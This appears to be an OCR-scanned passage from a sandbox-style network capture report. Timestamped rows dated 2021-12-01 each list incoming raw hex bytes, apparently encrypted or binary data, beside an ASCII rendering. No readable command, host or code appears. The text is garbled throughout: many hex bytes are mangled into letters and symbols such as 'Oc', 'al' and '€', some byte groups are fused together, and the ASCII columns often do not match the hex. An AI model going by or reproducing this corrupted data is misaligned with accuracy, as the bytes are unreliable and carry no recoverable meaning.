fa b7 0a d9 Oc b9 fb 6e bb ae 65 59 16 3b 75 77 57 5b d1 01 5d 84 75 8f d6 a3 76 ce 22 12 ad bd 32 79 05 e3 a2 31 d7 a9
4c b5 c9 f2 14 b1 39 b3 00 b0 c8 28 al 92 cd 58 Ob 05 08 df ce a2 34 22 a5 a5 dc 71 03 cb d8 79 Oc a9 a6 c7 {8 ed 34 df
48 60 dd ca 57 fa 8f 1c 28 07 2c 66 03 66 60 24 93 62 90 7c d1 f9 85 db e3 d2 83 0Of 60 b8 4a e4 Ob b5 81 ba 33 35 83 a3
04 4a 4a 39 bb b3 95 83 7e 1c 87 2c 7f 05 ab 78 95 1e
Data Ascii: g5w5@CkqLfZwJ/m\p8G.?>puHZAW}IWC_p=/HHGR}neY;uwW[Juv"2y1L9(X4"qy4H W(,ff $b|'I35339~,x

2021-12-01 12:26:35 UTC 134 IN Data Raw: 3e 2d 16 cd ad e7 09 04 67 48 57 8c 15 9e eb b5 7d 74 86 36 d1 b5 00 99 76 5f e0 ec 7b 29 9d 8 7f be 61 c2
c6 c0 9b 1e 77 80 80 a2 28 c4 21 af 33 9c 9f {7 0a 23 8a e6 0 7a 71 93 a8 4c 36 f3 03 5f fa 11 d8 87 79 65 c0 6c¢ fd 58 fd
63 6e 86 71 23 cc 14 ca 4d da 8b 90 74 4a ff ed 30 ab b3 Oe ce c5 66 49 16 81 9b 32 16 8c 19 bd 24 09 97 62 d3 34 be 73
97 1309 3b d3 46 3b e3 cd al e8 b8 d1 db a0 a5 ef 65 4e 22 56 Oe cd b0 60 Ob 9e e3 ce 62 3e 3c 1a 35 ea 86 Oc ca 58
9a fe 05 Ob 46 75 eb 89 98 29 98 e0 b3 08 15 7e 3d 78 47 5e 2e 94 89 35 83 ef 67 66 90 33 b0 3a 89 a7 80 36 45 66 f3 60
c4 3c f6 78 ad 31 76 b6 ef bc 4d 03 6d 00 12 85 a9 63 96 fa 64 f8 90 dd 60 fb 02 4d c5 4f 10 b8 05 93 36 9b 52 80 e5 ec 04
9b b3 af 5b 0d 36 3d ac 0f b8 bd 57 cc 20 cd 59 26 d3
Data Ascii: >-gHW}t6v_{)aw(!3#zqL6_yelXcng#MtJ0ofl2$b4s;F,eN"V b><5XFu)~=xG".5¢f3:6Ef <xlvMmcd MO6R[6=W Y&

2021-12-01 12:26:35 UTC 135 IN Data Raw: 02 a9 fe 64 ea 8b 6b 47 6d 60 6e cO a5 81 57 68 ff 1a 87 dd d8 b7 bf d8 Oc b9 41 59 98 bc 43 63 7¢ 17 77 77 71
66 41 7f c4 9a 66 a3 db 59 76 c8 08 Oe f6 09 22 5f 21 3b e1 30 d7 89 c0 9e e4 e0 2b b9 57 b0 00 b6 c2 80 cd Ob cc 47 2b
0d dc dd ce a4 84 81 f6 2d fb 51 fe eb 9c 78 2¢ b0 32 e2 d5 e2 3a d2 Oe 61 db e0 f5 ca 04 1d 28 1c 13 b4 2e 64 60 b8 9c
c9 ff c3f0 03 81 fb a6 f3 a3 01 fa 9d 7a de 00 97 c4 bd 19 b3 dd 57 17 4a 4e 06 64 9b b8 81 e4 3f 80 b8 27 bc 51 78 91 3e
fa d0 36 2b ed 16 d9 cf c4 1f ea d0 1e 97 87 83 bd a9 ed 6¢ 49 70 Oc 35 7f 5a 9b 57 16 32 eb fd fb 1d Of ec a6 1e 6d 40 2e
3a el 58 e3 13 bb fd 52 92 07 5f af 48 b8 d9 15 38 a4 27 11 b9 25 03 c4 2f ¢6 32 17 b5 1b 62 73 fa 4c 42 Oc 69 30 88 €2
d7 42 3b 5f 2¢ 45 7d 2¢c 87 7d 49 cc 01 bf 47 79
Data Ascii: dkGm nWhAY CclwwgfAfYv"_1;0+WG+-Qx,2:a(.d zZWINd?'Qx>6+Ip5ZW2m@.:XR_H8'%/2bsLBi0B;_,E},}IGy

2021-12-01 12:26:35 UTC 136 IN Data Raw: ce de 4f 09 3a 83 9b ae 19 27 76 02 05 61 92 42 cd 15 ca 66 0d 36 3a 01 d8 64 25 e4 e7 23 b6 68 c0O db a4 9a
95 4c¢ 63 20 cc 2d ca 23 38 b2 f6 e2 ca 42 01 41 0f 35 70 bd 09 f6 7c ba e7 2e 89 38 cc b6 99 9c 09 e9 c9 e Oa 8f 5d 3a
ef 1f 7 45 95 8d 15 83 6a 72 66 0a Oc b5 05 ad 87 a6 1d c7 18 4a 00 d4 38 d6 Oc a3 19 5b 2e ca 97 76 a7 33 f2 12 85 ad
63 3f ee 64 f8 10 dO 60 e8 24 6b ce cc 6e 21 24 e3 22 bb 3e 9f cd c1 9c be 98 94 fb 53 ¢3 3d ac Ob b8 13 43 cc 20 4c 54
26 c3 6b 15 ec 06 80 58 2a f4 28 0d 28 6a db 42 {7 6f be Oc 80 Ob 63 7f ed 11 86 67 1b f9 52 4e 5¢c 5e 65 ec ae 58 36 bl
16 15 b2 30 91 5b 66 Of 39 b8 74 e2 cf 5¢ 67 32 e5 bb b3 8b 50 fd 7e 79 80 75 4e 36 65 6¢ 84 51 b9 8b 70 Oe 3d 4b ee ae
5d 14 f4 97 9f f6 8e d2 92 41 90 db fb 2f 49 37 30 16 cd
Data Ascii: O:'vaBf6:d%#hLc -#8BA5p|.8]:EjrfI8[.v3c?d $kn!$">S=C LT&kX*((jBocgRN\*eX60[f9t\g2P~yuN6elQp=K]A/I70

2021-12-01 12:26:35 UTC 138 IN Data Raw: dd 1e 2 4c 4a 5d 9e 4c 85 16 19 08 8c 0d 9c 03 fc 45 93 a4 69 al d5 f0 03 85 fb 52 e5 a3 01 7f ab 7f el 24 b7
87 96 9f cd 64 3b 05 4e 6e 89 41 b3 95 19 c1 14 b8 18 79 b5 51 78 95 3e 78 c6 36 2b 68 3a dc f0 e0 3f aa fb 98 e9 3e 13
af ad cd e2 6b 58 21 ad 5a 71 a3 f7 48 3a eb fd ff 1d 85 fa a6 1e e8 6b 2b 05 c5 78 a2 38 3d 83 eb 27 15 5b 8f ¢5 9d f1 38
a0 81 0c 29 19 7b 08 c4 2f c2 32 84 a3 1b 62 f6 d3 49 7d 28 49 7e a3 60 a9 fb e2 4d 28 65 f1 22 af 50 d1 e9 2a 84 e7 27
67 04 f4 7e fb ae 31 ¢7 77 3f de ad ed cb 3f 31 1b 4a f9 7f 4c a4 30 49 16 1c Oc 90 75 d9 28 04 f4 8c 42 98 41 e7 1f 43 el
22 bf 09 ce 47 3b 80 dd 12 a5 c5 95 cf a4 cd bb 76 9e 7c 41 05 34 3d af 34 22 56 c5 9e 8e 70 ec ac d9 a5 a2 a8 60 94 ab
df ac cb bb 66 0a 9b 1b 58 e7 73 c9 91 32 7f 5d
Data Ascii: LILEIR$d;NnAyQx>x6+h:?>kXIZqH:k+x8="[8){/2bl}(I~"M(e"P*g~1w??1JLOIu(BAC"G;v|A4=4"Vp fXs2]

2021-12-01 12:26:35 UTC 139 IN Data Raw: d3 1d fc 11 f4 67 a4 33 d9 ca 76 bb 67 85 33 2f 12 85 ad d9 92 d6 75 de 2a 4e 4c ea 24 4d b8 57 10 b8 38 cb
0b 99 52 98 €7 43 78 02 b4 85 d9 53 18 3d ac Ob 02 ba 7b dd 06 77 cb Oa c1 6b 33 a5 99 fe ¢l 3¢ dc 01 2f 45 6d 1 c0 13
d3 92 1e a2 Ob b6 7f ed 11 3c d3 23 e8 74 71 ef 77 48 ee 8e 3a 05 37 68 90 9b 1d 97 7b Oe 24 bb 6 77 c6 e2 4a 61 ab 8a
ba b3 11 55 4c 7a 5f a0 d3 43 1e 48 4e ee 4e 93 0d 13 bf 11 49 ea 88 18 97 8a Oe 04 d3 a7 €0 Oe 60 ff da 61 0a 44 8e 03
36 77 bc bf 55 bd a2 83 ¢3 bf 67 70 2c 84 2b 95 d8 ¢6 16 78 12 61 1b d5 f0 d8 42 6b 8¢ 74 ¢3 bl 8b 32 6d d8 3b c5 le 31
b7 e5 el 1d 04 99 7b 4a a9 ac 3b 85 6d 2e b4 2b cf 06 c4 b0 70 a6 42 16 2d 18 e4 56 87 58 11 93 d9 67 ee 16 8e 31 8b fc
94 a2 54 da b8 26 0d d6 6b 56 09 d3 b7 7d el 13 d9 7a 3
Data Ascii: g3vg3/u*NLSMWBRCXS={wk3</Em<#tqwH:7h{$wJaULz_CHNNI'aD6wUgp, +xaBki2m;1{J;m.+pB-VXg1T&kV}z

2021-12-01 12:26:35 UTC 140 IN Data Raw: b1 36 da 67 03 2e ed fa da 8b ba fd 76 06 c8 5e af 57 06 d4 15 2b 82 01 e6 3e 5b 9a 5 08 d9 12 5f ac 33 4f eb
df 67 7a ac 37 el 88 e2 d3 42 3d 4c 2c 45 f8 06 82 42 6d ec d9 94 c1 07 d4 2c ef 7e db 56 2d ef 5a 24 f6 86 c5 4d 47 82
98 34 64 5e 93 al 10 dd 8d 39 21 18 76 d4 e6 23 d4 18 63 ac 5a c7 f5 4b f1 0a 89 23 e3 43 11 00 89 09 da 5c 90 ef 40 ec
2e 77 04 59 f6 32 3f Oc 69 15 b7 57 e5 da b5 9f fb b3 fa 90 a7 87 62 92 87 77 50 2c 23 67 Oe bf da cf e6 73 53 2e 3a 43 6a
dd ca 39 28 da fa 53 3e ce a3 de 31 08 c8 fb dc 6d 27 6d b6 17 cb 83 45 95 9c 66 48 c9 89 23 8e cd 95 05 50 ab 27 d7 ff
00 98 76 42 €8 d6 69 29 9b cc d1 ed fa c3 cO ee 3d 83 ef 81 80 3c 2d f5 32 89 13 e5 bb da 18 25 db el el 7a 6e a6 9f 71
34 f3 1a 54 54 42 43 86 7f 4b 66 f6 65 59 fd fd 6b
Data Ascii: 69.v"W+>[_30gz7B=L,EBm,~V-Z$MG4d"9!v#cZK#C\@.wY 2?IWbwP #gsS.:Cj9(S>1m'mEfH#P'vBi)=<-2%zn
q4TTBCKfeYk

2021-12-01 12:26:35 UTC 141 IN Data Raw: 00 1f 45 8e b3 36 bf fd 76 97 38 b8 ea e7 €6 4c 41 12 11 9f 9e 99 56 41 6f 7b 80 6a 62 c1 54 6e 84 48 98 25 23
95 3¢ 4d c0 Oc 4c 8c f5 97 01 f3 a6 c2 b4 61 65 ff d6 3e 4f bf 20 14 cd bd 9f bf 81 d3 9a d8 97 56 5a 01 80 01 15 8¢ dd 69
el 17 41 19 f7 4b d9 d8 4e 3b 43 c8 80 ab 10 d6 d9 1b 2a 22 46 ae fa ed 28 01 b6 79 4c 85 00 c3 62 f5 2f b0 0f e8 b8 c5
b0 ea 19 4a c9 19 1e c3 e8 86 58 31 48 bb 7e ee 9 87 01 8e d3 96 a4 78 72 44 c1 95 d7 6f 72 21 6¢ b6 7d 7b ac d1 46
d4 9d 6a 64 29 fa 0a d1 b4 fb fc 8d a3 ¢8 7c¢ 3d 1d 39 50 7c 30 df 97 ff ab 62 5a 49 48 d9 e7 88 95 5b ce 88 81 86 dd fc 8e
€0 d9 Oc a6 d0 54 98 ac 65 45 14 90 09 ee 50 71 57 5f ce 87 75 8b 6¢ 7e 5b dc 04 a8 82 92 23 5f 05 3f bf 31 d7 96 56 93
e4 f0 0d 9f 3e 37 7e 2f e3 aa db 2b c7 5a 0f 25 6b
Data Ascii: EBVBLAVA0{jbTnH%#<MLae>0 VZIAKN;C*"F(yLb/IX1H~xrDor!I{Fjd)|=9P|0bZIH[TeEPqQW_ul~[#_?1V>7
~I+Z%k
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kBytes
Timestamp transferred Direction Data

2021-12-01 12:26:35 UTC 143 IN Data Raw: 43 c7 f5 74 3e 3d a4 21 fc 1d 13 ab f5 90 dd 76 12 b1 39 ec 2e 73 be 57 d9 20 19 b6 ac 39 a5 71 e5 b5 ac 9f fb
8c ee 98 8a 85 7d cc 85 d8 2c b5 24 4d 88 el a2 cf e6 77 €9 27 15 52 4c 67 Oe 15 39 fc fa 18 27 ce a3 e7 96 05 ca fb c1
6f 88 11 2f 10 e1 01 1b ee 9c 66 4c 73 81 Oc 9f eb 2f c2 7c b9 01 d7 b8 19 98 76 7f 54 db 6b 29 82 eb 7f be 61 c2 c6 c0 9b
le 77 80 80 a2 28 f6 22 af 33 9¢ 9f f7 0a 23 8a d4 e3 7a 71 93 16 7c 36 f3 03 73 fa 11 d8 87 79 65 c0 6¢ fd 58 fd 63 6e b4
72 23 cc 14 ca 4d da 8b 90 46 49 ff ed 30 45 83 Oe ce c5 62 49 16 81 9b 32 16 8¢ 19 bd 24 09 97 62 fd 37 be 73 97 13 09
3b d3 46 15 e0 cd al e8 4a el db a0 a5 f1 65 4e 22 56 Oe cd b4 60 Ob 9e e3 ce 62 10 3f 1a 35 ea 86 Oc c9 58 9a d0 06 Ob
46 75 7f b9 98 29 9c ¢3 b6 27 17 78 11 d4 bb b9
Data Ascii: Ct>=Iv9.sW 9q},$Mw'RLg9'o/fLs/|vTk)aw("3#zq|6syelXcnr#MFIOEbI2$b7s;FIeN"V b?5XFu)'x

2021-12-01 12:26:35 UTC 144 IN Data Raw: a4 63 83 7 c7 20 7d b6 79 4a 8f 7e 9f fb f4 30 bf 07 c2 b8 c5 b6 5a ba 19 42 3e 3e c0 ca d4 5a 11 b3 3d 5b c3
e4 b7 09 f1 d3 96 a2 72 f3 19 58 94 c8 71 7a 04 6¢ b6 7b cb 0f 82 ce f3 bd 66 46 7a f8 2a c0 33 de d1 81 ad c5 2d 3f 1b 13
6 1f 8a de 97 e4 93 43 75 4b 48 45 €8 23 f9 e4 ef 81 87 a6 89 de 97 fd 43 29 94 c9 5a 95 fa 67 43 3e 36 42 54 51 71 4¢
6b ec a8 77 8b f0 71 f4 b0 bb 89 88 94 03 0a 27 1b a2 ab f2 a4 4b 9d e9 a7 0f 99 14 91 49 95 e2 aa c1 23 el 5a 0f 23 db
59 b0 3b af 07 8¢ 94 ac 53 fa cb 42 5¢ 01 a2 8e e7 ae f2 1c f2 6a 31 f8 e0 d5 9b Oe 35 05 01 Oc 9a 29 e0 1e 27 b7 4f 85 7a
a6 01 85 db 79 d7 8e 13 46 98 00 ce 26 b7 al d5 3a b3 fd 25 15 62 63 1b 40 b5 bf 05 9a a0 ab 3e 5d 05 08 7a 95 1e 26 f4
1b 39 51 13 ac df e2 3f 8c a8 3d 97 a7 0d b7 81
Data Ascii: ¢ }yJ~0ZB>>Z=[rXqzl{fFz*3-?CuKHE#C)ZgC>6BTQqLkwq'KI#Z#Y;SB\j15)'OzyF&:%bc@>]z&9Q7?=

2021-12-01 12:26:35 UTC 145 IN Data Raw: d5 be f6 95 1f b8 Oe 5d c0 fb f1 Oc b0 f4 71 b3 1b c0 cO ea 3d 5b cb 81 80 b9 29 f0 0d ad 33 00 90 5c 66 9c ab
fa e5 5a 08 b1 b7 5¢c ac d6 31 6¢ f4 1c a3 85 7f 4f 66 4e 41 59 fd 78 47 b3 5d 21 cc 88 c5 €6 b6 34 bl 69 4f df 97 12 eb a3
94 eb f7 7d 47 1b f9 99 34 3c 2a 02 01 25 09 8¢ 63 e5 18 bc 73 Ob 1c a2 57 6¢ 67 25 €6 ed da ca f1 c1 41 85 97 ee 6b 43
5b 54 08 e7 12 98 b7 9f e3 d5 6a 09 10 18 35 76 89 a3 a5 e7 bb e1 00 2b 3a 57 b7 99 02 Oc ae d9 b8 2a 69 7a 17 fe 19 69
0a 94 8d 02 8b ¢3 65 66 Oc 3c 1f 56 36 86 a0 33 65 1b d1 01 d4 a6 d3 4a b3 3f 7b c9 ed ba 67 al bc bc 13 85 ba 6b 9a f9
64 fe 20 7e 33 73 25 6d €0 6e 6e ba 25 e3 bc be 7f 8c eb el 78 99 b5 85 fd ¢3 8a 3c ac 14 97 b7 7b ce 20 51 56 8d bf {2
12 c6 84 de be 29 f4 2c b7 60 46 c9 64 4d 35 91 le
Data Ascii: ]q=[)3\fZ\1IOfNAYxG]!4i0}G4<*%csWIg%AKC[Tj5v+:W*izief<V63eJ?{gkd ~3s%mnn%x<{ QV), FdM5

2021-12-01 12:26:35 UTC 146 IN Data Raw: d6 18 45 b2 c7 b9 6¢ 55 el 26 84 af el 45 3b 1c d2 bd c9 7a b4 41 a2 ed 2e 57 3f 5a db 20 06 39 al 39 b5 57
c3 b4 2c el 62 ad d9 bc aa 0a 60 94 ad 6f Ob 98 33 41 2a 10 39 ce e6 53 7f 2d 17 52 5b d5 06 3a 28 dc fO b6 5b 57 a2 c7
1d 05 5a f9 da 47 3f 36 02 07 ed a7 f5 75 9d 66 68 e4 8a Oe 9f f3 9d ca 53 ab 21 dd 17 65 01 77 5f c4 db fa 2b 9d e6 cd b6
4e d3 e6 ca 8c 62 ee 81 a0 1f 2e d8 20 b8 1b 2b b8 da 1e 2f 28 84 78 7b 71 b7 97 ce 34 3 1c e4 f7 11 cb al 5f dd 44 12
64 79 47 41 4e 9b 68 Ob el 8c ef 66 e2 2f ce f0 4a ff €9 30 78 al Oe ce 40 4a 4c 2a a5 bb a7 3e 0a 67 04 99 2f 93 42 da
1d 93 71 0d 30 Oe ab 8b ff 24 e2 c¢9 81 5c f3 c1 db 3a 9f d1 5¢c 45 00 c2 Oa e7 32 3e 2f b9 e3 ca 5a 09 10 18 35 76 89 a3
a5 e7 bb el 00 2b d3 57 b7 99 02 Oc ae d9 b8 2a 80 7a
Data Ascii: EIU&E;zA.W?Z 99W,b’03A*9S-R[:([WZG?6ufhSlew_+Nb. +/(x{g4_DdyGANhf/JOXx@JL*>g/Bq0$\:\E2>/Z
Sv+W+z

2021-12-01 12:26:35 UTC 147 IN Data Raw: 4f d8 3b c1 le f3 ac e5 el 9a 09 99 68 6¢ 8f 33 bf fb f4 0f 57 08 ef ba dc 98 5d 3e 67 dd 15 bc ba 73 87 58 15
93 11 7c ee f6 Ob Oc 8e c0 b0 82 e4 f2 3a 58 b4 31 4c 52 29 77 9e 50 e3 89 fa 7d 74 c3 fh 67 29 fe 0a 77 ab fb fc 09 ae c8
6¢ 1b 3b a4 d4 02 a9 fe 7e dc 8b 6b 47 40 60 6e c0 a5 81 57 6¢ ff 1a 87 dd d8 b7 45 db Oc b9 41 59 98 bf 43 63 86 14 77
77718374 7fc4 9b 5d a6 f4 5b 70 e4 a4 f6 11 91 23 5b 05 a2 a0 31 d7 13 7f 96 db d4 2d 20 16 b1 00 96 18 8d df Ob d3
54 27 08 f3 df c8 88 28 79 11 b5 fa 55 da 71 da 79 2c 2a 8d ea ea d6 3c 48 48 60 db c0 d3 ac 16 1d 37 0a 24 b1 01 66 66
943031 18 5b f1 07 a5 60 el f2 a3 9b 45 95 45 ea 06 Oc 83 bc 19 93 f2 12 05 4a 51 16 68 9e 97 83 e2 13 2c 40 c0 24 50
7c b5 a2 be d1 36 b1 52 1e e6 fb c2 83 ae d1 1e b7
Data Ascii: O;hI3W]>gsX|:X1LR)wP}tg)wl;~kG@ nWIEAYCewwat][p#[1- T'(yUqy,*<HH 7$ff01[ EEJQh,@$P|6R

2021-12-01 12:26:35 UTC 148 IN Data Raw: el 9d ca 53 ab 21 dd 13 65 01 77 5f c4 db b7 2b 9d e6 cd b6 4e d0 e6 ca c1 62 ee 81 a0 80 23 d8 20 b0 17 2e
97 d8 18 03 80 7c 9f e3 70 b3 b3 7c eb f1 1c 7e 48 19 f7 95 59 6f 9b 10 64 59 dd 2d 65 9b 70 3c c5 a6 c2 62 c8 ab 9a ef
3566 ec 10 ef 83 dO cc da 6f fb 1e ae 89 12 1c d4 65 24 25 29 c0 69 cd 35 al 78 25 1b 26 29 f3 4c a39c 54 a0 c8 f5 el
04 a2 ba fc d7 46 0d 44 2e c7 ed 1c 92 9f c3 94 69 21 3d 05 3a 58 8e 23 db 78 90 67 7a 92 47 55 b3 b9 78 2b 83 c8 04 2f
38 6a 31 de d9 c5 2f 94 ad 78 88 ee 67 79 06 3e b0 2a af 81 8a b1 3b ff d2 01 d0 1c 17 65 a2 19 c1 91 c2 a8 41 al f2 9b
1385 8d 3a 9c fb 64 e7 2e d0 60 e8 24 6b ce cc 6e 21 24 e3 22 bb b0 9c cd c1 9c be 98 94 fb 53 4d 3e ac Ob b8 02 7d cc
20 4f 54 26 c¢3 6b 15 ec 02 80 58 2a f4 28 0d a6 69 db 42
Data Ascii: Slew_+Nb# .|p|~HYodY-ep<b5foe$%)i5x%&)LTFD.il=:X#xgzGUx+/8j1/xgy>*;eA:d. $kn!$"SM>} OT&KX*(iB

2021-12-01 12:26:35 UTC 150 IN Data Raw: 7d ce 9f ae 86 dd c2 bf d0 db Oc bf f1 fa cb 37 64 43 3a 36 74 74 51 71 c9 5a e9 97 53 ab f5 58 76 ce 02 ae a5
90 23 40 34 33 8f 33 d7 8f 70 3d b7 6b Oc 99 10 91 04 b5 e2 aa 45 2e el 4a 29 05 f5 dc ce a2 8e 30 a5 b4 fa 4e eb e3 f5
7b 2c b6 82 41 86 69 1d f2 4e 40 de e3 d5 84 8¢ 38 05 11 2a bc 06 65 60 be 96 07 ac 5a fl1 1c 8a f3 ce f0 a3 07 4a 3e 29
55 27 b7 85 9c 1f b0 fd 3a 9f 6f 63 Ob 66 93 93 80 e4 39 8a 69 74 25 50 67 9a 36 91 d3 36 2d 5d bl 8a 44 e3 3f a8 f1 19
94 a7 12 35 8c c0 62 4c 78 26 34 7f 5¢ 91 b7 45 ab ea €3 d7 10 4a ed a0 34 75 1b 9a 29 ¢7 7c 84 1a b8 fd 72 bc 30 72 be
71 be f9 3b 3a a4 01 55 12 5b 9a d9 07 ef 10 5f b2 31 e4 97 46 60 50 2e 69 71 8a e2 d7 f8 c6 60 3e 63 42 2a ac 50 4b ec
73 b8 ¢1 07 eb 37 dc 53 d9 49 20 ed f1 58 6f 81 ef cf
Data Ascii: }7dC:6ttQqZSXv#@433p=KE.J)ON{,AIN@8*e’ZJ>)U".0cf9it%Pg66-]D?5bLx&4\EJ4u)|rOrg;:U[_1F P.i
g >cB*PKs7SI Xo

2021-12-01 12:26:35 UTC 151 IN Data Raw: 1a 80 46 bd 72 8 87 ff b2 a0 4d f1 b3 77 5b 38 54 73 42 47 38 2f 6a cd ff 85 f3 ef 54 95 al 0d 11 72 4a dd ce
91 ad 94 d2 2a 99 71 c2 01 50 ab be fb f2 Oe 25 2f 99 32 32 de 51 58 36 16 bd 7a 8d 23 c3 c0 44 ce 85 08 0f 6f 03 cd 65
fc d4 a0 62 03 38 8f Oe de 24 aa 26 c5 7e 6d f1 8e d2 1f e9 69 ee 3c ec df 29 df a5 23 b7 7b 8¢ 36 cf 18 3d bb 72 64 cd 1c
8d 4b f7 41 d5 ed e0 52 99 b4 d2 cc 63 9a 2e af 1e dc b4 4d da 3d 14 22 37 d2 7b 11 c0 84 ea c5 7c ce 38 0a 6b 19 b2 43
71 40 ab 30 89 25 2e 55 cf 6f c¢3 ef 05 f4 31 2f 5a 6b 58 86 dd 47 1d 41 7e bc 82 e8 5b a0 d2 9a b6 5a 26 12 61 ce b2 d1
4f 71 60 54 b9 bc b6 e6 6a a5 9a de db 90 54 8c 41 83 9b 52 e4 85 16 6¢ d1 d7 18 78 e3 26 4c 2f 5d 96 Oe 21 Oc db a3 6e
dc fe 27 4e 5e a0 50 08 64 34 58 fe c0 86 09 b1 20
Data Ascii: FrMw[8TsBG8/jTrJ*qP%/22QX6z#Doeb8%&~mi<)#{6=rdKARc.M="7{|8kCq@0%.U01/ZkXGA~[Z&aOq T|TARI
X&L/N!IN'NAPd4X

2021-12-01 12:26:35 UTC 152 IN Data Raw: 08 bb c8 ee 23 28 d7 2c e5 56 83 0a 48 60 73 33 94 €9 0Oa fb 70 8b 38 32 13 bf 35 5e 8e al cd cd 8f 05 ea d8
ec 9e 46 f1 76 19 76 11 37 d6 55 b4 d6 7f 7d 3b 7a ac 96 ae 57 cc ae 14 86 b1 05 bb bc ¢7 2d 11 34 5d 56 12 3c d6 e8 48
fa 8d 89 88 4f 3d 84 da 3d c9 3b 6f 45 b9 02 d7 62 d9 83 09 5d 45 14 92 6¢ be a4 01 24 a3 30 35 3f 50 98 9b 1a d9 1a 54
ba Oa 6f f1 98 52 53 2a 54 67 9d f7 d6 41 c7 6b 5f 5b 7a 30 e2 75 7d e0 28 b2 fc 03 d7 2a dd 52 e7 7c Oa ff 45 1f dO bd df
b3 0d 20 al b0 bf a4 a5 49 ca 1d d4 df d5 9b c4 6b a9 b3 42 cf 99 49 94 57 2c 9d 2e e4 72 fa 21 97 €359 37 77 31 fa 7e
2e 42 4f d7 87 6e 9d 28 c7 6 c5 63 fc 4b fb 6f 34 71 64 Ob 5f 23 44 35 70 9a 6d 51 72 a4 3a ae a6 8f 03 b1 16 5f fc 46 88
de ff cd 62 be b4 b8 42 4c ad aa 60 24 5a 98 94 13
Data Ascii: #(,VH s3p825~Fwv7U};zW-4]V<HO==;0Eb]EI$05?PToRS*TgAk_[zOu}(*R|E IKBIW,.r'Y7w1~.BOn(cKo4q
d_#D5pmQr:_FbBL $Z
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kBytes
Timestamp transferred Direction Data

2021-12-01 12:26:35 UTC 154 IN Data Raw: ec 75 bb 13 49 e8 5c 00 d7 bd 4f a4 5a f8 6d 2e a7 18 13 fb 6b a9 6e cd 4a 86 d5 c9 0f c7 eb 8f d6 63 a2 77 db
Ob d2 97 4c a0 44 31 01 3b f2 01 71 aa f7 de a3 42 9f 47 5a 62 52 e0 6b 43 37 ee 35 82 1a 20 14 bd 31 cf df 4b f4 55 56
4d 27 18 e5 a3 53 08 76 6d 84 bb 3a 9d 3d 52 54 77 7 fO db a6 Ob 13 5d 86 8b ff 83 06 05 45 5f a0 51 30 6f 6¢ 42 aa 62 5
29 25 be 09 62 8f f5 4f 7a 98 a8 36 b6 c5 b3 dc 4d ed b6 2c b8 ee 50 e4 d7 15 2e 21 90 52 1c 48 44 78 b1l 8e d5 4c af Of
6ec8e531cle7 9861 c2 16 bl dO ad a4 5b 01 44 1 35 2f 86 79 d9 af 47 15 44 f9 d8 40 8f a6 0d 38 03 59 57 dd 44 8f 4e
Oc 6e 21 dd e5 bf 48 ec fd 4f 67 Ob cc ce 69 26 f5 65 78 4a b2 35 43 06 2c 92 20 ea 98 55 43 fd 90 ea 86 43 ce 6e 76 01
€6 03 50 ¢7 c9 86 48 d3 67 03 4f 53 39 3d 57 9d
Data Ascii: u\OZm.knJcwLD1;0BGZbRkC75 1KUVM'Svm:=RTw]E_QO00IBb)%b0Oz6M,P.'RHDxLn1la[D5/yGD@8
YWDNN!HOgi&exJ5C, UCCnvPHgOS9=W

2021-12-01 12:26:35 UTC 155 IN Data Raw: 10 36 €0 Oe d1 aa 25 63 f7 70 7a 76 1a d8 97 7f a8 73 31 c¢5 30 56 c4 fb 42 78 16 60 5b d3 al b6 01 98 23 58
2820 70 dc 2a 30 b1 37 c0O b6 64 81 4c d2 7a d4 49 26 88 5f 2a e0 82 d3 ed 30 13 9a 3d 7f 59 77 bl 1c cd 06 04 22 2¢c 53
e03d 75 e4 Oc 7d b2 55 e2 d4 7c c4 01 95 2f c2 6e 12 b3 fe bc ef 68 be a4 b8 83 33 1c f9 1f bf 5¢ 7f 4d €9 70 30 c8 59 74
46 1d 6f 43 39 2e 07 17 f2 02 3b 14 ac 38 af 98 86 65 b2 24 3d ae 1d d5 d6 96 d8 1b c4 d0 d5 21 31 9b e7 2¢ 55 21 aa e7
0f 38 6b f6 06 b1 9a b7 62 59 c1 c7 3b b7 €9 f2 17 d8 39 4f 6a 21 8f 72 f1 20 41 ce 3e d1 8c 63 28 b9 9a 11 72 c8 04 ed 4f
1f 41 85 f0 3d 21 10 23 8¢ 5b ba 17 9c ee 30 66 b2 ad 02 56 56 d3 d1 19 41 ad c7 6¢ f5 95 4f d2 28 18 94 a9 al ef 81 ca
1c f5 b6 89 18 4e d3 8d f5 7c d3 b6 al 7e 58 9f {3
Data Ascii: 6%cpzvs10VBx [#X( p*07dLzI&_*0=Yw",S=u}U|/nh3\MpOYtFoC9.;8e$=!1,U!8kbY;90j!r A>c(rOA=I#[
OfVVAIO(N|~X

2021-12-01 12:26:35 UTC 156 IN Data Raw: 80 22 62 50 f8 d3 c3 fc 10 09 03 15 f8 06 29 52 27 13 f1 2e ee 7e 24 ab 72 60 ac 9c 6b 56 a2 a7 47 ed ee fd fe
2e da df fd 3e 77 89 38 55 9a 9a 83 0a 94 93 c6 8¢ 94 20 71 65 e0 3e f1 95 57 57 ¢9 25 56 36 da 6a ed 28 47 22 63 ea ba
9f 2c fd f7 44 fb Of 7e 94 ee d6 39 e7 68 a2 91 62 59 70 25 25 e7 71 f7 79 70 00 66 be €2 ad 3d f1 €0 Ob 24 44 83 d3 63
62 ac 05 30 7a ce 5f 65 30 03 5 54 d5 ba 67 22 88 a7 f2 9b 4d 95 0a 60 Oa ba 0f 53 95 aa c¢9 09 d7 33 5b 5¢ 49 0a Oc 79
fe b6 84 ¢3 1c cf 62 16 04 6f 0a d1 cf d3 c3 ce 59 28 24 f0 7d 01 00 07 43 59 02 7b 76 fa 59 3c 99 53 3e c9 e2 9e b9 c3 df
e2c7f5d6 72 29 dc Oa 5a e2 d9 6a 94 2a 38 22 90 9 95 42 fa 78 9d c4 1la e2 8a a4 72 c9 54 e4 54 e5 a8 e2 80 40 81 09
42 7c be 8e 86 ba bl 1b 96 ac e7 75 db ea ac 5f 0d
Data Ascii: "bP)R".~$r' kVG.>w8U qe>WW%V6j(G"c,D~9hbYp%%qypf=$Dcb0z_e0Tg"M S3[\lyboY ($}CY{vY<S>r)Zj*8
"BXITT@B|u_

2021-12-01 12:26:35 UTC 157 IN Data Raw: bd 45 88 c8 bb e7 7f 4b 9a 7a df 29 16 16 bd 1d b3 5f ca a0 83 b1 d8 93 c8 a3 9c 9b 67 c2 e8 af 6b a3 2f 4e 35
be 06 eb df 54 f9 17 07 61 62 da 05 42 30 ed ed 04 1f f1 8a c9 16 26 f6 cc ff 67 b6 ed d4 e2 21 45 a3 be 5e b0 cb c1 23 98
